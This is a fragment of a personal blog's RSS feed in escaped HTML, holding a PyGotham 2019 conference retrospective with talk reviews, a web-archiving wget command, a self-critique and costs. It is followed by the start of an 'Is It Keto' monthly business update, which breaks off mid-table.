 srcset='https://mtlynch.io/retrospectives/pygotham-2019-notes/pygotham-logo_hu_70d7a3cccdae772e.png 300w, https://mtlynch.io/retrospectives/pygotham-2019-notes/pygotham-logo_hu_392d26a1cbc1a8a4.png 600w, https://mtlynch.io/retrospectives/pygotham-2019-notes/pygotham-logo_hu_75d79f5a27e7c3ad.png 800w, https://mtlynch.io/retrospectives/pygotham-2019-notes/pygotham-logo.png 1061w'
 src="https://mtlynch.io/retrospectives/pygotham-2019-notes/pygotham-logo.png" alt="PyGotham 2019 logo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="ratings-and-reviews">Ratings and reviews&lt;/h2>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Conference Attribute&lt;/th>
 &lt;th>Grade&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Quality of talks&lt;/td>
 &lt;td>C&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Event smoothness&lt;/td>
 &lt;td>A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Venue&lt;/td>
 &lt;td>A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>How I felt about my talk&lt;/td>
 &lt;td>B&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="quality-of-talks">Quality of talks&lt;/h3>
&lt;p>I was a bit disappointed with the overall quality of the talks this year. There were a few I enjoyed (&lt;a href="#favorite-talks">see below&lt;/a>), but lots of the talks underwhelmed me.&lt;/p>
&lt;p>Part of the problem is just that I&amp;rsquo;m not the target audience. Machine learning talks occupied many of the slots, and I think machine learning is neat, but I don&amp;rsquo;t use it for my job, so I feel like I&amp;rsquo;ve had my fill of intro ML talks.&lt;/p>
&lt;h3 id="event-smoothness">Event smoothness&lt;/h3>
&lt;p>Kudos to the PyGotham organizers for running the event like a well-oiled machine. As the speaker, I had all the information when I needed it. The audio and visual equipment worked well for every talk I saw. Everything ran on time. The food was tasty and plentiful, albeit, a bit carb-heavy.&lt;/p>
&lt;h3 id="venue">Venue&lt;/h3>
&lt;p>The Pennsylvania Hotel is a great venue for conferences. There were three stages with enough seating that I never felt cramped or shut out of a talk I wanted to see. The rooms were all close together to make it easy to move between talks, and there was adequate space to have hallway conversations with other attendees.&lt;/p>
&lt;h3 id="how-i-felt-about-my-talk">How I felt about my talk&lt;/h3>
&lt;p>See &lt;a href="#critiquing-my-talk">&amp;ldquo;Critiquing my talk&amp;rdquo;&lt;/a> (below).&lt;/p>
&lt;h2 id="favorite-talks">Favorite Talks&lt;/h2>
&lt;h3 id="archiving-the-internet-before-it-all-rots-away">Archiving the Internet Before it All Rots Away&lt;/h3>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/7eoz_EU6-wQ?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>&lt;strong>Speaker&lt;/strong>: &lt;a href="https://nicksweeting.com/">Nick Sweeting&lt;/a> from Monadical&lt;/p>
&lt;p>I never realized how big a community there is around webpage archiving and how mature their tooling is. Nick pointed out how common it is for us to lose centralized data repositories. This is true for ancient works like &lt;a href="https://en.wikipedia.org/wiki/Library_of_Alexandria">The Library of Alexandria&lt;/a>, and it&amp;rsquo;s true of digital information like Geocities and Tumblr. These repositories survive when common people have the tools to archive and preserve their own copies.&lt;/p>
&lt;p>Nick highlighted different tools available for archiving web pages and gave a tour of the different organizations and online communities dedicated to Internet archiving. The tooling is more mature than I expected, with several tools available for archiving even single-page apps (SPAs), which generate HTML dynamically with lots of JavaScript and RPCs. There&amp;rsquo;s even powerful archiving functionality available in common utilities.&lt;/p>
&lt;p>Nick showed the following &lt;code>wget&lt;/code> command, which fully downloads a single webpage, including all JavaScript, CSS, and images:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>wget &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --no-verbose &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --adjust-extension &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --convert-links &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --force-directories &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --backup-converted &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --span-hosts &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --no-parent &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -e &lt;span style="color:#40ffff">robots&lt;/span>=off &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --restrict-file-names=windows &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --timeout=&lt;span style="color:#3677a9">60&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --warc-file=archive.warc &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --page-requisites &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --user-agent=&lt;span style="color:#ed9d13">&amp;#34;Lalala this is chrome I promise...&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --load-cookies=&lt;span style="color:#ed9d13">&amp;#34;mycookies.txt&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --compression=auto &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --no-check-certificate &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --no-hsts &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;https://2019.pygotham.org&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: If you&amp;rsquo;re on Ubuntu/Debian, take out the &lt;code>--compression=auto&lt;/code> flag, since your version of wget &lt;a href="https://unix.stackexchange.com/a/464375/152974">doesn&amp;rsquo;t support it&lt;/a>.
&lt;/div>

&lt;p>Other things I liked:&lt;/p>
&lt;ul>
&lt;li>Nick shared &lt;a href="https://wiki.kiwix.org/wiki/Content_in_all_languages">kiwix&lt;/a>, a project that was new to me. They provide offline copies of large content sites like Wikipedia and StackOverflow that you can run locally.&lt;/li>
&lt;li>Nick maintains &lt;a href="https://github.com/pirate/ArchiveBox/wiki/Web-Archiving-Community">a directory of archiving resources and communities&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="maintaining-a-python-project-when-its-not-your-job">Maintaining a Python Project When It’s Not Your Job&lt;/h3>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/OvUsbGpKp64?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>&lt;strong>Speaker&lt;/strong>: &lt;a href="https://hynek.me/">Hynek Schlawack&lt;/a>&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://hynek.me/talks/python-foss/">Talk Outline&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://speakerdeck.com/hynek/maintaining-a-python-project-when-its-not-your-job">Slides&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Hynek maintains several popular open source projects (&lt;a href="https://github.com/python-attrs/attrs">attrs&lt;/a>, &lt;a href="https://www.structlog.org/en/stable/">structlog&lt;/a>), and he has only limited time to review external pull requests. He uses automated tools to minimize his time reviewing and to empower third-party contributors to find their own bugs. This aligned nicely with my #1 rule for code reviews: &lt;a href="https://mtlynch.io/human-code-reviews-1/#let-computers-do-the-boring-parts">Let computers do the boring parts&lt;/a>.&lt;/p>
&lt;p>Hynek is a fun, and lively speaker. He opens with a joke, &amp;ldquo;Hello, I&amp;rsquo;m Hynek, your European friend that you didn&amp;rsquo;t know that you have.&amp;rdquo; It sets the tone for the rest of the talk that the content will be fun and sometimes tongue-in-cheek.&lt;/p>
&lt;p>Other things I liked:&lt;/p>
&lt;ul>
&lt;li>Introduced me to a few tools I didn&amp;rsquo;t know about:
&lt;ul>
&lt;li>&lt;a href="https://github.com/timothycrosley/isort">isort&lt;/a>: Sorts your Python import statements.
&lt;ul>
&lt;li>I &lt;a href="https://github.com/mtlynch/python3_seed/pull/15">added it&lt;/a> to my &lt;a href="https://github.com/mtlynch/python3_seed">Python3 boilerplate project&lt;/a>.&lt;/li>
&lt;li>The tool&amp;rsquo;s &lt;a href="https://github.com/timothycrosley/isort/issues/1039">shortcoming&lt;/a> is that it only offers two modes: &amp;ldquo;fix automatically&amp;rdquo; (not what I want in a build check) or &amp;ldquo;give an unhelpful failure message.&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://github.com/psf/black">Black&lt;/a>: Formats Python code whitespace.
&lt;ul>
&lt;li>Interesting, but doesn&amp;rsquo;t seem to provide any meaningful improvements over &lt;a href="https://github.com/google/yapf">yapf&lt;/a>, my preferred formatter.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://tox.readthedocs.io/en/latest/">tox&lt;/a>: Runs Python test scripts in different virtual environments.
&lt;ul>
&lt;li>I &lt;em>think&lt;/em> I used tox about five years ago, but at the time, I was using it as a way to mock behavior in unit tests. The project now is something totally different, so I can&amp;rsquo;t figure out if they changed focus after &lt;a href="https://docs.python.org/3/library/unittest.mock.html">mock&lt;/a> made it into the standard library or if I&amp;rsquo;m just confused.&lt;/li>
&lt;li>Anyway, it seems neat. I haven&amp;rsquo;t created any projects that run in multiple Python environments, but it&amp;rsquo;s good to keep in my back pocket.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I liked Hynek&amp;rsquo;s example &lt;a href="https://github.com/python-attrs/attrs/blob/1d6ef3be7965f2e294569e65be5d14e19b3013c4/.github/PULL_REQUEST_TEMPLATE.md">pull request checklist&lt;/a> and &lt;a href="https://github.com/python-attrs/attrs/blob/1d6ef3be7965f2e294569e65be5d14e19b3013c4/.github/CONTRIBUTING.md">contributor documentation&lt;/a>.&lt;/li>
&lt;li>I&amp;rsquo;ve never seen anyone create a public text outline of their talk before, but &lt;a href="https://hynek.me/talks/python-foss/">Hynek&amp;rsquo;s&lt;/a> was helpful.&lt;/li>
&lt;/ul>
&lt;h3 id="make-you-an-async-for-great-good">Make You An Async For Great Good!&lt;/h3>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/XEkuqe7tSlA?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>&lt;strong>Speaker&lt;/strong>: &lt;a href="https://twitter.com/judy2k">Mark Smith&lt;/a> from Nexmo&lt;/p>
&lt;p>Mark introduced the Python &lt;a href="https://docs.python.org/3/library/asyncio.html">&lt;code>asyncio&lt;/code>&lt;/a> module, the Python library for writing concurrent code. He explained that he figured out how the library worked by building his own simplified version called &lt;code>mysyncio&lt;/code>.&lt;/p>
&lt;p>I was impressed at how much of &lt;code>asyncio&lt;/code>&amp;rsquo;s functionality Mark was able to reimplement in so little code. His implementation skipped critical features of the real &lt;code>asyncio&lt;/code> module, most notably thread-safety and exception handling, but he achieved &lt;code>asyncio&lt;/code>&amp;rsquo;s core functionality. Concurrent programming is often difficult to reason about, so seeing Mark&amp;rsquo;s un-magic version of the library made &lt;code>asyncio&lt;/code> more intuitive.&lt;/p>
&lt;h2 id="critiquing-my-talk">Critiquing my talk&lt;/h2>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/ElzBGwyDzCc?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>&lt;strong>Speaker&lt;/strong>: Michael Lynch (me)&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.page.link/gdbt-pg">Slides&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>I felt good about my talk. I was happy with my level of prep (5-7 runthroughs of my talk), although I wish I started rehearsing earlier instead of procrastinating until the week of the conference.&lt;/p>
&lt;p>After my PyTexas talk, my &lt;a href="https://mtlynch.io/retrospectives/pytexas-2019-notes/#critiquing-my-own-talk">notes for improvement&lt;/a> were to speak slower and avoid looking down too much at my laptop. I think at PyGotham. I was so focused on keeping a slow speaking pace that my tone comes across as flat, like I&amp;rsquo;m bored of my own material. It improves after the first 5-10 minutes, but one thing I&amp;rsquo;d like to keep in mind in future talks is remembering to put emotion into what I&amp;rsquo;m saying.&lt;/p>
&lt;p>My biggest mistake was projecting my talk using Google Slides&amp;rsquo; &amp;ldquo;Presenter View&amp;rdquo; rather than mirroring my screen. I thought the on-screen timer would help me keep pace, but I forgot that it would prevent me from seeing my own slides. I knew them well enough that I could present most of them just from seeing the tiny thumbnail in presenter view, but there were several instances where I had to turn away from the audience and look at the screen to read text.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>What went well&lt;/p>
&lt;ul>
&lt;li>I felt comfortable with the material I was presenting.&lt;/li>
&lt;li>I succeeded in slowing down my talking speed and keeping my focus on the audience.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>What needs improvement&lt;/p>
&lt;ul>
&lt;li>Remember to mirror my laptop display rather than present with &amp;ldquo;Presenter View.&amp;rdquo;&lt;/li>
&lt;li>Speaking slowly doesn&amp;rsquo;t mean speaking keeping a flat tone. I&amp;rsquo;m excited to be at these conferences, so I can do a better job of showing that enthusiasm in my talk.&lt;/li>
&lt;li>The content itself comes across as a bit clinical — it could use some more levity and more jokes.&lt;/li>
&lt;li>Start rehearsing earlier so that preparation doesn&amp;rsquo;t feel rushed.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="costs">Costs&lt;/h2>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Expense&lt;/th>
 &lt;th>Amount&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Train tickets&lt;/td>
 &lt;td>$95.00&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Lodging (two nights)&lt;/td>
 &lt;td>$0 (stayed with friends)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Uber rides&lt;/td>
 &lt;td>$9.08&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Food&lt;/td>
 &lt;td>$5.44&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$109.52&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Compare this to the &lt;a href="https://mtlynch.io/retrospectives/pytexas-2019-notes/#costs">$1,200ish I spent&lt;/a> to attend PyTexas! It would be super convenient if all conference organizers just planned conferences within car or train distance from me and ensured that I had friends living nearby with a spare bedroom.&lt;/p>
&lt;p>Time-wise, I did 5-10 hours of prep. It was much easier to prepare for this talk since I already had the slides from PyTexas, though I revised my presentation a bit based on my reflections from the previous conference.&lt;/p>
&lt;h2 id="other-thoughts">Other thoughts&lt;/h2>
&lt;h3 id="what-could-i-improve">&amp;ldquo;What could I improve?&amp;rdquo;&lt;/h3>
&lt;p>At previous conferences, when people approached me to say they liked my talk, I&amp;rsquo;d always just thank them for saying that. This year, I tried, &amp;ldquo;Thanks! Are there parts you think I could improve?&amp;rdquo; People were a bit taken aback by the question, but it usually made them think for a second and make suggestions.&lt;/p>
&lt;p>There&amp;rsquo;s an unfortunate lack of feedback in conferences. Everyone can improve their public speaking and the clarity of their slides, but speakers don&amp;rsquo;t have much data about what&amp;rsquo;s working and what&amp;rsquo;s not. When I&amp;rsquo;m watching talks, I constantly see things where I wish I could tell the speaker they&amp;rsquo;re making an easily-fixable error. But it&amp;rsquo;s rude to approach people with unsolicited advice, especially about something they&amp;rsquo;re probably anxious about in the first place.&lt;/p>
&lt;p>When people approach me after my talks in the future, I&amp;rsquo;m going to thank them, but also remember to ask what I can do better. If you saw my talk, &lt;a href="https://mtlynch.io/about/">let me know&lt;/a> what you think I can improve.&lt;/p>
&lt;h3 id="conferences-are-a-good-place-to-have-ideas">Conferences are a good place to have ideas&lt;/h3>
&lt;p>Conferences inspire creative thinking. I always forget it until I&amp;rsquo;m sitting in the venue, but it happens at every conference I attend. I have ideas at conferences that I never would have had otherwise.&lt;/p>
&lt;p>I&amp;rsquo;m not sure if it&amp;rsquo;s because sometimes I&amp;rsquo;m in talks where my mind wanders. Or maybe it&amp;rsquo;s because the speaker is walking me through their thought process and it triggers different thoughts in me than I&amp;rsquo;d normally have. But every conference I attend, I walk away with good ideas about my businesses or projects I&amp;rsquo;d like to take on in the future.&lt;/p>
&lt;h3 id="i-should-give-a-talk-about-stealing-cryptocurrency">I should give a talk about stealing cryptocurrency&lt;/h3>
&lt;p>As an example of one of the ideas that I wouldn&amp;rsquo;t have had otherwise, I realized at PyGotham that I should turn &lt;a href="https://mtlynch.io/stole-siacoins/">&amp;ldquo;How I Stole Your Siacoin&amp;rdquo;&lt;/a> into a conference talk. It&amp;rsquo;s a fun story, it uses Python, and it covers a few topics like &lt;a href="https://en.wikipedia.org/wiki/Levenshtein_distance">Levenshtein distance&lt;/a> and &lt;a href="https://en.wikipedia.org/wiki/Public-key_cryptography">public-key cryptography&lt;/a> that I could describe in a fun way. It never occurred to me to make it a conference talk, but it seemed so obvious once I thought of it.&lt;/p>
&lt;h3 id="maybe-i-shouldnt-ask-for-anything">Maybe I shouldn&amp;rsquo;t ask for anything&lt;/h3>
&lt;p>After PyTexas earlier this year, I realized I was looking for a new project, and I had a room full of tech workers, so &lt;a href="https://mtlynch.io/retrospectives/pytexas-2019-notes/#i-should-have-asked-for-something">I should have asked people&lt;/a> to come talk to me about the pain points of their business. Certainly, everyone has aspects of their job they wish they could just delegate to a managed service. I had (hopefully) shown myself to be a competent developer, so they could have asked me to build something for them.&lt;/p>
&lt;p>At PyGotham, I &lt;a href="https://youtu.be/ElzBGwyDzCc?t=1398">ended my talk&lt;/a> with an invitation to approach me about managed services people felt were missing in their job. And then, nothing.&lt;/p>
&lt;p>I thought that, at worst, I&amp;rsquo;d at least get some terrible ideas like, &amp;ldquo;We want MailChimp, except we want it to be free and unlimited.&amp;rdquo; But no, nada. So maybe there isn&amp;rsquo;t much value in that strategy. In the future, I might try to use the platform to attract some new users to &lt;a href="https://whatgotdone.com/">What Got Done&lt;/a>.&lt;/p>
&lt;h3 id="its-enlightening-to-review-cfps">It&amp;rsquo;s enlightening to review CFPs&lt;/h3>
&lt;p>When speakers apply to conferences, they fill out &amp;ldquo;CFPs&amp;rdquo;, calls for proposals. It&amp;rsquo;s a few paragraphs that explain why you should speak at the conference and what the blurb in the event schedule should say to attract attendees to your talk.&lt;/p>
&lt;p>PyGotham is the first conferenced I&amp;rsquo;ve experienced where attendees get to see and vote on every CFP. I&amp;rsquo;ve written a few CFPs, but I&amp;rsquo;d never read anyone else&amp;rsquo;s before, so it was enlightening to experience it as someone with voting power (some undefined amount of it anyway) over which talk got selected.&lt;/p>
&lt;p>Some takeaways:&lt;/p>
&lt;ul>
&lt;li>Reviewing CFPs is &lt;em>really&lt;/em> draining.
&lt;ul>
&lt;li>I think there were ~300 submissions. I split it into 3-4 shifts, but I&amp;rsquo;m sure I was more patient and generous with some than others just by virtue of different energy levels.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>It&amp;rsquo;s tough to balance my own interests against the crowd&amp;rsquo;s.
&lt;ul>
&lt;li>For example, I&amp;rsquo;m not that interested in machine learning talks, but I know others are. Do I vote for or against those?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Snottiness plays poorly in CFPs.
&lt;ul>
&lt;li>Some of the submitters acted as though it was below them to fill out the CFP. There was a question like, &amp;ldquo;What is your talk about?&amp;rdquo; and then a subsequent question along the lines of, &amp;ldquo;What should attendees take away from your talk?&amp;rdquo; I saw several people give lazy answers to the latter question like, &amp;ldquo;See above&amp;rdquo; or ,&amp;ldquo;This is not meaningfully different from the first question.&amp;rdquo;&lt;/li>
&lt;li>When you&amp;rsquo;ve reviewed 100 CFPs and have to eliminate 90% of what you read, the snotty ones are the easiest to reject.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="three-conferences-per-year-is-a-good-goal">Three conferences per year is a good goal&lt;/h3>
&lt;p>At the beginning of the year, I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#goals-for-year-two">set a goal&lt;/a> to speak at three conferences in 2019. PyGotham completes that goal:&lt;/p>
&lt;ol>
&lt;li>&lt;a href="https://2019.nerdsummit.org/">NERD Summit 2019&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://2019.pytexas.org/">PyTexas 2019&lt;/a> (&lt;a href="https://mtlynch.io/retrospectives/pytexas-2019-notes/">my notes&lt;/a>)&lt;/li>
&lt;li>PyGotham 2019&lt;/li>
&lt;/ol>
&lt;p>In retrospect, I feel like three remains a good goal. Each conference wipes me out for a week or two, but they also inspire good ideas and expose me to tools and techniques I might not otherwise discover.&lt;/p></content:encoded></item><item><title>Is It Keto - Month 9</title><link>https://mtlynch.io/retrospectives/2019/10/</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2019/10/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>After six months of consistent gains of ~30% in revenue and traffic, Is It Keto&amp;rsquo;s growth finally flattened out.&lt;/li>
&lt;li>I&amp;rsquo;m preparing to sell premium meal plans on Is It Keto.&lt;/li>
&lt;li>I&amp;rsquo;m ready to make bigger bets on my businesses.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2019/09/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="hire-a-writer-for-is-it-keto">Hire a writer for Is It Keto&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I hired a writer who&amp;rsquo;s able to write well in the style I want.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>In September, I received 25 new applications from freelance writers. I did paid trials with two of them and made one permanent hire.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>After six months of consistent gains of ~30% in revenue and traffic, Is It Keto&amp;rsquo;s growth finally flattened out.&lt;/li>
&lt;li>I&amp;rsquo;m preparing to sell premium meal plans on Is It Keto.&lt;/li>
&lt;li>I&amp;rsquo;m ready to make bigger bets on my businesses.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2019/09/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="hire-a-writer-for-is-it-keto">Hire a writer for Is It Keto&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I hired a writer who&amp;rsquo;s able to write well in the style I want.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>In September, I received 25 new applications from freelance writers. I did paid trials with two of them and made one permanent hire.&lt;/p>
&lt;h3 id="earn-revenue-through-a-new-channel-for-is-it-keto">Earn revenue through a new channel for Is It Keto&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: It hasn&amp;rsquo;t happened yet, but I&amp;rsquo;m pretty close.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C+&lt;/li>
&lt;/ul>
&lt;p>In September, I explored several affiliate partnerships but wasn&amp;rsquo;t excited about them. I paused on affiliate deals to focus on a different type of collaboration that I hope to launch in early October.&lt;/p>
&lt;h3 id="publish-a-guide-to-hiring-freelance-content-writers">Publish a guide to hiring freelance content writers&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I published &amp;ldquo;&lt;a href="https://mtlynch.io/hiring-content-writers/">Hiring Content Writers: A Guide for Small Businesses&lt;/a>&amp;rdquo;&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This was my longest article ever, at around 7,200 words. I&amp;rsquo;ve been writing it on and off since March, so it felt good to publish it finally.&lt;/p>
&lt;p>One thing I&amp;rsquo;m struggling with is finding an audience for my less technical posts. For posts about programming, it&amp;rsquo;s easy to share it on reddit and Hacker News. When people like it, it gets attention. With posts about hiring &lt;a href="https://mtlynch.io/hiring-content-writers/">content writers&lt;/a>, &lt;a href="https://mtlynch.io/editor/">editors&lt;/a>, or &lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/">cartoonists&lt;/a>, I don&amp;rsquo;t know where to share them, so they languish in obscurity until bubbling up to the top of Google results for related queries months later.&lt;/p>
&lt;h3 id="finish-open-sourcing-what-got-done">Finish open sourcing What Got Done&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: What Got Done is now &lt;a href="https://github.com/mtlynch/whatgotdone">open-source&lt;/a>.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I published What Got Done&amp;rsquo;s source on GitHub and released it under the &lt;a href="https://choosealicense.com/licenses/apache-2.0/">Apache 2 license&lt;/a>. The project has already received contributions from &lt;a href="https://github.com/mtlynch/whatgotdone/graphs/contributors">three external developers&lt;/a>, and it&amp;rsquo;s entirely because I added the label &lt;code>hacktoberfest&lt;/code> &lt;a href="https://github.com/mtlynch/whatgotdone/issues?q=is%3Aissue+label%3AHacktoberfest">to a few bugs&lt;/a>. It&amp;rsquo;s a program that Digital Ocean is &lt;a href="https://hacktoberfest.digitalocean.com">running in October&lt;/a> to encourage contributions to open source projects.&lt;/p>
&lt;h2 id="stats">Stats&lt;/h2>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>August 2019&lt;/th>
 &lt;th>September 2019&lt;/th>
 &lt;th>Change&lt;/th>
